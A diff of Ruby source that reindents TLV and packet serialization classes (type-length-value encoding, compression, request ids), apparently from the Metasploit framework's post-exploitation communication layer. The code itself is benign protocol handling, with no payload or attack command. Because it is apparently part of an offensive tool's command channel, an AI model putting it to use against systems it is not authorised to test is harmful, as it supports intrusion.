+ # Checks to see if the TLVs type is equivalent to the type passed.
224
+ #
225
+ def type?(type)
226
+ return self.type == type
227
+ end
228
+
229
+ #
230
+ # Checks to see if the TLVs value is equivalent to the value passed.
231
+ #
232
+ def value?(value)
233
+ return self.value == value
234
+ end
235
+
236
+ ##
237
+ #
238
+ # Serializers
239
+ #
240
+ ##
241
+
242
+ #
243
+ # Converts the TLV to raw.
244
+ #
245
+ def to_r
246
+ # Forcibly convert to ASCII-8BIT encoding
247
+ raw = value.to_s.unpack("C*").pack("C*")
248
+
249
+ if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
250
+ raw += "\x00"
251
+ elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
252
+ raw = [value].pack("N")
253
+ elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
254
+ raw = [ self.htonq( value.to_i ) ].pack("Q")
255
+ elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
256
+ if (value == true)
257
+ raw = [1].pack("c")
258
+ else
259
+ raw = [0].pack("c")
260
+ end
261
+ end
262
+
263
+ # check if the tlv is to be compressed...
264
+ if( @compress )
265
+ raw_uncompressed = raw
266
+ # compress the raw data
267
+ raw_compressed = Rex::Text.zlib_deflate( raw_uncompressed )
268
+ # check we have actually made the raw data smaller...
269
+ # (small blobs often compress slightly larger then the origional)
270
+ # if the compressed data is not smaller, we dont use the compressed data
271
+ if( raw_compressed.length < raw_uncompressed.length )
272
+ # if so, set the TLV's type to indicate compression is used
273
+ self.type = self.type | TLV_META_TYPE_COMPRESSED
274
+ # update the raw data with the uncompressed data length + compressed data
275
+ # (we include the uncompressed data length as the C side will need to know this for decompression)
276
+ raw = [ raw_uncompressed.length ].pack("N") + raw_compressed
277
+ end
278
+ end
279
+
280
+ return [raw.length + 8, self.type].pack("NN") + raw
281
+ end
282
+
283
+ #
284
+ # Translates the raw format of the TLV into a sanitize version.
285
+ #
286
+ def from_r(raw)
287
+ self.value = nil
288
+
289
+ length, self.type = raw.unpack("NN");
290
+
291
+ # check if the tlv value has been compressed...
292
+ if( self.type & TLV_META_TYPE_COMPRESSED == TLV_META_TYPE_COMPRESSED )
293
+ # set this TLV as using compression
294
+ @compress = true
295
+ # remove the TLV_META_TYPE_COMPRESSED flag from the tlv type to restore the
296
+ # tlv type to its origional, allowing for transparent data compression.
297
+ self.type = self.type ^ TLV_META_TYPE_COMPRESSED
298
+ # decompress the compressed data (skipping the length and type DWORD's)
299
+ raw_decompressed = Rex::Text.zlib_inflate( raw[8..length-1] )
300
+ # update the length to reflect the decompressed data length (+8 for the length and type DWORD's)
301
+ length = raw_decompressed.length + 8
302
+ # update the raw buffer with the new length, decompressed data and updated type.
303
+ raw = [length, self.type].pack("NN") + raw_decompressed
304
+ end
305
+
306
+ if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
307
+ if (raw.length > 0)
308
+ self.value = raw[8..length-2]
309
+ else
310
+ self.value = nil
311
+ end
312
+ elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
313
+ self.value = raw.unpack("NNN")[2]
314
+ elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
315
+ self.value = raw.unpack("NNQ")[2]
316
+ self.value = self.ntohq( self.value )
317
+ elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
318
+ self.value = raw.unpack("NNc")[2]
319
+
320
+ if (self.value == 1)
321
+ self.value = true
322
+ else
323
+ self.value = false
324
+ end
325
+ else
326
+ self.value = raw[8..length-1]
327
+ end
328
+
329
+ return length;
330
+ end
331
+
332
+ protected
333
+
334
+ def htonq( value )
335
+ if( [1].pack( 's' ) == [1].pack( 'n' ) )
336
+ return value
337
+ end
338
+ return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
339
+ end
340
+
341
+ def ntohq( value )
342
+ return htonq( value )
343
+ end
345
344
 
346
345
  end
347
346
 
@@ -351,216 +350,216 @@ end
351
350
  #
352
351
  ###
353
352
  class GroupTlv < Tlv
354
- attr_accessor :tlvs
355
-
356
- ##
357
- #
358
- # Constructor
359
- #
360
- ##
361
-
362
- #
363
- # Initializes the group TLV container to the supplied type
364
- # and creates an empty TLV array.
365
- #
366
- def initialize(type)
367
- super(type)
368
-
369
- self.tlvs = [ ]
370
- end
371
-
372
- ##
373
- #
374
- # Group-based TLV accessors
375
- #
376
- ##
377
-
378
- #
379
- # Enumerates TLVs of the supplied type.
380
- #
381
- def each(type = TLV_TYPE_ANY, &block)
382
- get_tlvs(type).each(&block)
383
- end
384
-
385
- #
386
- # Synonym for each.
387
- #
388
- def each_tlv(type = TLV_TYPE_ANY, &block)
389
- each(type, &block)
390
- end
391
-
392
- #
393
- # Enumerates TLVs of a supplied type with indexes.
394
- #
395
- def each_with_index(type = TLV_TYPE_ANY, &block)
396
- get_tlvs(type).each_with_index(&block)
397
- end
398
-
399
- #
400
- # Synonym for each_with_index.
401
- #
402
- def each_tlv_with_index(type = TLV_TYPE_ANY, &block)
403
- each_with_index(type, block)
404
- end
405
-
406
- #
407
- # Returns an array of TLVs for the given type.
408
- #
409
- def get_tlvs(type)
410
- if (type == TLV_TYPE_ANY)
411
- return self.tlvs
412
- else
413
- type_tlvs = []
414
-
415
- self.tlvs.each() { |tlv|
416
- if (tlv.type?(type))
417
- type_tlvs << tlv
418
- end
419
- }
420
-
421
- return type_tlvs
422
- end
423
- end
424
-
425
- ##
426
- #
427
- # TLV management
428
- #
429
- ##
430
-
431
- #
432
- # Adds a TLV of a given type and value.
433
- #
434
- def add_tlv(type, value = nil, replace = false, compress=false)
435
-
436
- # If we should replace any TLVs with the same type...remove them first
437
- if (replace)
438
- each(type) { |tlv|
439
- if (tlv.type == type)
440
- self.tlvs.delete(tlv)
441
- end
442
- }
443
- end
444
-
445
- if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
446
- tlv = GroupTlv.new(type)
447
- else
448
- tlv = Tlv.new(type, value, compress)
449
- end
450
-
451
- self.tlvs << tlv
452
-
453
- return tlv
454
- end
455
-
456
- #
457
- # Adds zero or more TLVs to the packet.
458
- #
459
- def add_tlvs(tlvs)
460
- if (tlvs != nil)
461
- tlvs.each { |tlv|
462
- add_tlv(tlv['type'], tlv['value'])
463
- }
464
- end
465
- end
466
-
467
- #
468
- # Gets the first TLV of a given type.
469
- #
470
- def get_tlv(type, index = 0)
471
- type_tlvs = get_tlvs(type)
472
-
473
- if (type_tlvs.length > index)
474
- return type_tlvs[index]
475
- end
476
-
477
- return nil
478
- end
479
-
480
- #
481
- # Returns the value of a TLV if it exists, otherwise nil.
482
- #
483
- def get_tlv_value(type, index = 0)
484
- tlv = get_tlv(type, index)
485
-
486
- return (tlv != nil) ? tlv.value : nil
487
- end
488
-
489
- #
490
- # Returns an array of values for all tlvs of type type.
491
- #
492
- def get_tlv_values(type)
493
- get_tlvs(type).collect { |a| a.value }
494
- end
495
-
496
- #
497
- # Checks to see if the container has a TLV of a given type.
498
- #
499
- def has_tlv?(type)
500
- return get_tlv(type) != nil
501
- end
502
-
503
- #
504
- # Zeros out the array of TLVs.
505
- #
506
- def reset
507
- self.tlvs = []
508
- end
509
-
510
- ##
511
- #
512
- # Serializers
513
- #
514
- ##
515
-
516
- #
517
- # Converts all of the TLVs in the TLV array to raw and prefixes them
518
- # with a container TLV of this instance's TLV type.
519
- #
520
- def to_r
521
- raw = ''
522
-
523
- self.each() { |tlv|
524
- raw << tlv.to_r
525
- }
526
-
527
- return [raw.length + 8, self.type].pack("NN") + raw
528
- end
529
-
530
- #
531
- # Converts the TLV group container from raw to all of the individual
532
- # TLVs.
533
- #
534
- def from_r(raw)
535
- offset = 8
536
-
537
- # Reset the TLVs array
538
- self.tlvs = []
539
- self.type = raw.unpack("NN")[1]
540
-
541
- # Enumerate all of the TLVs
542
- while (offset < raw.length-1)
543
-
544
- tlv = nil
545
-
546
- # Get the length and type
547
- length, type = raw[offset..offset+8].unpack("NN")
548
-
549
- if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
550
- tlv = GroupTlv.new(type)
551
- else
552
- tlv = Tlv.new(type)
553
- end
554
-
555
- tlv.from_r(raw[offset..offset+length])
556
-
557
- # Insert it into the list of TLVs
558
- tlvs << tlv
559
-
560
- # Move up
561
- offset += length
562
- end
563
- end
353
+ attr_accessor :tlvs
354
+
355
+ ##
356
+ #
357
+ # Constructor
358
+ #
359
+ ##
360
+
361
+ #
362
+ # Initializes the group TLV container to the supplied type
363
+ # and creates an empty TLV array.
364
+ #
365
+ def initialize(type)
366
+ super(type)
367
+
368
+ self.tlvs = [ ]
369
+ end
370
+
371
+ ##
372
+ #
373
+ # Group-based TLV accessors
374
+ #
375
+ ##
376
+
377
+ #
378
+ # Enumerates TLVs of the supplied type.
379
+ #
380
+ def each(type = TLV_TYPE_ANY, &block)
381
+ get_tlvs(type).each(&block)
382
+ end
383
+
384
+ #
385
+ # Synonym for each.
386
+ #
387
+ def each_tlv(type = TLV_TYPE_ANY, &block)
388
+ each(type, &block)
389
+ end
390
+
391
+ #
392
+ # Enumerates TLVs of a supplied type with indexes.
393
+ #
394
+ def each_with_index(type = TLV_TYPE_ANY, &block)
395
+ get_tlvs(type).each_with_index(&block)
396
+ end
397
+
398
+ #
399
+ # Synonym for each_with_index.
400
+ #
401
+ def each_tlv_with_index(type = TLV_TYPE_ANY, &block)
402
+ each_with_index(type, block)
403
+ end
404
+
405
+ #
406
+ # Returns an array of TLVs for the given type.
407
+ #
408
+ def get_tlvs(type)
409
+ if (type == TLV_TYPE_ANY)
410
+ return self.tlvs
411
+ else
412
+ type_tlvs = []
413
+
414
+ self.tlvs.each() { |tlv|
415
+ if (tlv.type?(type))
416
+ type_tlvs << tlv
417
+ end
418
+ }
419
+
420
+ return type_tlvs
421
+ end
422
+ end
423
+
424
+ ##
425
+ #
426
+ # TLV management
427
+ #
428
+ ##
429
+
430
+ #
431
+ # Adds a TLV of a given type and value.
432
+ #
433
+ def add_tlv(type, value = nil, replace = false, compress=false)
434
+
435
+ # If we should replace any TLVs with the same type...remove them first
436
+ if (replace)
437
+ each(type) { |tlv|
438
+ if (tlv.type == type)
439
+ self.tlvs.delete(tlv)
440
+ end
441
+ }
442
+ end
443
+
444
+ if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
445
+ tlv = GroupTlv.new(type)
446
+ else
447
+ tlv = Tlv.new(type, value, compress)
448
+ end
449
+
450
+ self.tlvs << tlv
451
+
452
+ return tlv
453
+ end
454
+
455
+ #
456
+ # Adds zero or more TLVs to the packet.
457
+ #
458
+ def add_tlvs(tlvs)
459
+ if (tlvs != nil)
460
+ tlvs.each { |tlv|
461
+ add_tlv(tlv['type'], tlv['value'])
462
+ }
463
+ end
464
+ end
465
+
466
+ #
467
+ # Gets the first TLV of a given type.
468
+ #
469
+ def get_tlv(type, index = 0)
470
+ type_tlvs = get_tlvs(type)
471
+
472
+ if (type_tlvs.length > index)
473
+ return type_tlvs[index]
474
+ end
475
+
476
+ return nil
477
+ end
478
+
479
+ #
480
+ # Returns the value of a TLV if it exists, otherwise nil.
481
+ #
482
+ def get_tlv_value(type, index = 0)
483
+ tlv = get_tlv(type, index)
484
+
485
+ return (tlv != nil) ? tlv.value : nil
486
+ end
487
+
488
+ #
489
+ # Returns an array of values for all tlvs of type type.
490
+ #
491
+ def get_tlv_values(type)
492
+ get_tlvs(type).collect { |a| a.value }
493
+ end
494
+
495
+ #
496
+ # Checks to see if the container has a TLV of a given type.
497
+ #
498
+ def has_tlv?(type)
499
+ return get_tlv(type) != nil
500
+ end
501
+
502
+ #
503
+ # Zeros out the array of TLVs.
504
+ #
505
+ def reset
506
+ self.tlvs = []
507
+ end
508
+
509
+ ##
510
+ #
511
+ # Serializers
512
+ #
513
+ ##
514
+
515
+ #
516
+ # Converts all of the TLVs in the TLV array to raw and prefixes them
517
+ # with a container TLV of this instance's TLV type.
518
+ #
519
+ def to_r
520
+ raw = ''
521
+
522
+ self.each() { |tlv|
523
+ raw << tlv.to_r
524
+ }
525
+
526
+ return [raw.length + 8, self.type].pack("NN") + raw
527
+ end
528
+
529
+ #
530
+ # Converts the TLV group container from raw to all of the individual
531
+ # TLVs.
532
+ #
533
+ def from_r(raw)
534
+ offset = 8
535
+
536
+ # Reset the TLVs array
537
+ self.tlvs = []
538
+ self.type = raw.unpack("NN")[1]
539
+
540
+ # Enumerate all of the TLVs
541
+ while (offset < raw.length-1)
542
+
543
+ tlv = nil
544
+
545
+ # Get the length and type
546
+ length, type = raw[offset..offset+8].unpack("NN")
547
+
548
+ if (type & TLV_META_TYPE_GROUP == TLV_META_TYPE_GROUP)
549
+ tlv = GroupTlv.new(type)
550
+ else
551
+ tlv = Tlv.new(type)
552
+ end
553
+
554
+ tlv.from_r(raw[offset..offset+length])
555
+
556
+ # Insert it into the list of TLVs
557
+ tlvs << tlv
558
+
559
+ # Move up
560
+ offset += length
561
+ end
562
+ end
564
563
 
565
564
  end
566
565
 
@@ -570,139 +569,139 @@ end
570
569
  #
571
570
  ###
572
571
  class Packet < GroupTlv
573
- attr_accessor :created_at
574
-
575
- ##
576
- #
577
- # Factory
578
- #
579
- ##
580
-
581
- #
582
- # Creates a request with the supplied method.
583
- #
584
- def Packet.create_request(method = nil)
585
- return Packet.new(PACKET_TYPE_REQUEST, method)
586
- end
587
-
588
- #
589
- # Creates a response to a request if one is provided.
590
- #
591
- def Packet.create_response(request = nil)
592
- response_type = PACKET_TYPE_RESPONSE
593
- method = nil
594
-
595
- if (request)
596
- if (request.type?(PACKET_TYPE_PLAIN_REQUEST))
597
- response_type = PACKET_TYPE_PLAIN_RESPONSE
598
- end
599
-
600
- method = request.method
601
- end
602
-
603
- return Packet.new(response_type, method)
604
- end
605
-
606
- ##
607
- #
608
- # Constructor
609
- #
610
- ##
611
-
612
- #
613
- # Initializes the packet to the supplied packet type and method,
614
- # if any. If the packet is a request, a request identifier is
615
- # created.
616
- #
617
- def initialize(type = nil, method = nil)
618
- super(type)
619
-
620
- if (method)
621
- self.method = method
622
- end
623
-
624
- self.created_at = ::Time.now
625
-
626
- # If it's a request, generate a random request identifier
627
- if ((type == PACKET_TYPE_REQUEST) ||
628
- (type == PACKET_TYPE_PLAIN_REQUEST))
629
- rid = ''
630
-
631
- 32.times { |val| rid << rand(10).to_s }
632
-
633
- add_tlv(TLV_TYPE_REQUEST_ID, rid)
634
- end
635
- end
636
-
637
- ##
638
- #
639
- # Conditionals
640
- #
641
- ##
642
-
643
- #
644
- # Checks to see if the packet is a response.
645
- #
646
- def response?
647
- return ((self.type == PACKET_TYPE_RESPONSE) ||
648
- (self.type == PACKET_TYPE_PLAIN_RESPONSE))
649
- end
650
-
651
- ##
652
- #
653
- # Accessors
654
- #
655
- ##
656
-
657
- #
658
- # Checks to see if the packet's method is equal to the supplied method.
659
- #
660
- def method?(method)
661
- return (get_tlv_value(TLV_TYPE_METHOD) == method)
662
- end
663
-
664
- #
665
- # Sets the packet's method TLV to the method supplied.
666
- #
667
- def method=(method)
668
- add_tlv(TLV_TYPE_METHOD, method, true)
669
- end
670
-
671
- #
672
- # Returns the value of the packet's method TLV.
673
- #
674
- def method
675
- return get_tlv_value(TLV_TYPE_METHOD)
676
- end
677
-
678
- #
679
- # Checks to see if the packet's result value is equal to the supplied
680
- # result.
681
- #
682
- def result?(result)
683
- return (get_tlv_value(TLV_TYPE_RESULT) == result)
684
- end
685
-
686
- #
687
- # Sets the packet's result TLV.
688
- #
689
- def result=(result)
690
- add_tlv(TLV_TYPE_RESULT, result, true)
691
- end
692
-
693
- #
694
- # Gets the value of the packet's result TLV.
695
- #
696
- def result
697
- return get_tlv_value(TLV_TYPE_RESULT)
698
- end
699
-
700
- #
701
- # Gets the value of the packet's request identifier TLV.
702
- #
703
- def rid
704
- return get_tlv_value(TLV_TYPE_REQUEST_ID)
705
- end
572
+ attr_accessor :created_at
573
+
574
+ ##
575
+ #
576
+ # Factory
577
+ #
578
+ ##
579
+
580
+ #
581
+ # Creates a request with the supplied method.
582
+ #
583
+ def Packet.create_request(method = nil)
584
+ return Packet.new(PACKET_TYPE_REQUEST, method)
585
+ end
586
+
587
+ #
588
+ # Creates a response to a request if one is provided.
589
+ #
590
+ def Packet.create_response(request = nil)
591
+ response_type = PACKET_TYPE_RESPONSE
592
+ method = nil
593
+
594
+ if (request)
595
+ if (request.type?(PACKET_TYPE_PLAIN_REQUEST))
596
+ response_type = PACKET_TYPE_PLAIN_RESPONSE
597
+ end
598
+
599
+ method = request.method
600
+ end
601
+
602
+ return Packet.new(response_type, method)
603
+ end
604
+
605
+ ##
606
+ #
607
+ # Constructor
608
+ #
609
+ ##
610
+
611
+ #
612
+ # Initializes the packet to the supplied packet type and method,
613
+ # if any. If the packet is a request, a request identifier is
614
+ # created.
615
+ #
616
+ def initialize(type = nil, method = nil)
617
+ super(type)
618
+
619
+ if (method)
620
+ self.method = method
621
+ end
622
+
623
+ self.created_at = ::Time.now
624
+
625
+ # If it's a request, generate a random request identifier
626
+ if ((type == PACKET_TYPE_REQUEST) ||
627
+ (type == PACKET_TYPE_PLAIN_REQUEST))
628
+ rid = ''
629
+
630
+ 32.times { |val| rid << rand(10).to_s }
631
+
632
+ add_tlv(TLV_TYPE_REQUEST_ID, rid)
633
+ end
634
+ end
635
+
636
+ ##
637
+ #
638
+ # Conditionals
639
+ #
640
+ ##
641
+
642
+ #
643
+ # Checks to see if the packet is a response.
644
+ #
645
+ def response?
646
+ return ((self.type == PACKET_TYPE_RESPONSE) ||
647
+ (self.type == PACKET_TYPE_PLAIN_RESPONSE))
648
+ end
649
+
650
+ ##
651
+ #
652
+ # Accessors
653
+ #
654
+ ##
655
+
656
+ #
657
+ # Checks to see if the packet's method is equal to the supplied method.
658
+ #
659
+ def method?(method)
660
+ return (get_tlv_value(TLV_TYPE_METHOD) == method)
661
+ end
662
+
663
+ #
664
+ # Sets the packet's method TLV to the method supplied.
665
+ #
666
+ def method=(method)
667
+ add_tlv(TLV_TYPE_METHOD, method, true)
668
+ end
669
+
670
+ #
671
+ # Returns the value of the packet's method TLV.
672
+ #
673
+ def method
674
+ return get_tlv_value(TLV_TYPE_METHOD)
675
+ end
676
+
677
+ #
678
+ # Checks to see if the packet's result value is equal to the supplied
679
+ # result.
680
+ #
681
+ def result?(result)
682
+ return (get_tlv_value(TLV_TYPE_RESULT) == result)
683
+ end
684
+
685
+ #
686
+ # Sets the packet's result TLV.
687
+ #
688
+ def result=(result)
689
+ add_tlv(TLV_TYPE_RESULT, result, true)
690
+ end
691
+
692
+ #
693
+ # Gets the value of the packet's result TLV.
694
+ #
695
+ def result
696
+ return get_tlv_value(TLV_TYPE_RESULT)
697
+ end
698
+
699
+ #
700
+ # Gets the value of the packet's request identifier TLV.
701
+ #
702
+ def rid
703
+ return get_tlv_value(TLV_TYPE_REQUEST_ID)
704
+ end
706
705
  end
707
706
 
708
707